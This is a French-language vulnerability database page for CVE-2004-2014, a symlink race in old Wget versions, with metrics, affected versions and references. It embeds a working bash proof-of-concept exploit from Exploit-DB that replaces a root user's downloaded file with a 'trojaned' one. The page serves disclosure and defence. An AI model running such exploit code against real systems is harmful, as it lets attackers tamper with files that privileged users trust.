CVE-2004-2014 : Détail

CVE-2004-2014

0.04%V3
Local
2005-05-10
02h00 +00:00
2018-10-03
18h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Wget 1.9 and 1.9.1 allows local users to overwrite arbitrary files via a symlink attack on the name of the file being downloaded.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 2.6 AV:L/AC:H/Au:N/C:N/I:P/A:P [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 24123

Date de publication : 2004-05-16 22h00 +00:00
Auteur : Hugo Vazquez
EDB Vérifié : Yes

source: https://www.securityfocus.com/bid/10361/info The 'wget' utility has been reported prone to a race-condition vulnerability. The issue exists because wget doesn't lock files that it creates and writes to during file downloads. A local attacker may exploit this condition to corrupt files with the privileges of the victim who is running the vulnerable version of wget. #!/bin/bash rm -f salida.txt pid.txt *.wget /tmp/patch-2.4.26.bz2 echo "1">salida.txt a=`cat salida.txt` echo "Waiting for Wget execution..." while [ "$a" == 1 ] do ps auxw|grep wget|grep patch-2.4.26.bz2>>salida.txt a=`cat salida.txt` done echo "Process catched!" pgrep -u root wget>pid.txt ln -s /dev/null /tmp/patch-2.4.26.bz2 echo "/dev/null link created!" echo "Waiting for downloading to finish..." b=`pgrep -u root wget` touch $b.wget c=1 while [ "$c" == 1 ] do if [ -e .wget ] then c=0 echo "Downloading finished! Let's delete the original file, and put our trojaned file :-)" rm -f /tmp/patch-2.4.26.bz2 echo "Surprise!">/tmp/patch-2.4.26.bz2 echo "Does it worked?" ls -la /tmp/patch-2.4.26.bz2 else b=`pgrep -u root wget` touch $b.wget fi done

Products Mentioned

Configuraton 0

Gnu>>Wget >> Version 1.5.3

Gnu>>Wget >> Version 1.6

Gnu>>Wget >> Version 1.7

Gnu>>Wget >> Version 1.7.1

Gnu>>Wget >> Version 1.8

Gnu>>Wget >> Version 1.8.1

Gnu>>Wget >> Version 1.8.2

Gnu>>Wget >> Version 1.9

Gnu>>Wget >> Version 1.9.1

Références

http://marc.info/?l=wget&m=108483270227139&w=2
Tags : mailing-list, x_refsource_MLIST
http://www.redhat.com/support/errata/RHSA-2005-771.html
Tags : vendor-advisory, x_refsource_REDHAT
https://usn.ubuntu.com/145-1/
Tags : vendor-advisory, x_refsource_UBUNTU
http://secunia.com/advisories/17399
Tags : third-party-advisory, x_refsource_SECUNIA
http://marc.info/?l=wget&m=108482747906833&w=2
Tags : mailing-list, x_refsource_MLIST
http://www.securityfocus.com/bid/10361
Tags : vdb-entry, x_refsource_BID
http://marc.info/?l=bugtraq&m=108481268725276&w=2
Tags : mailing-list, x_refsource_BUGTRAQ
http://www.mandriva.com/security/advisories?name=MDKSA-2005:204
Tags : vendor-advisory, x_refsource_MANDRIVA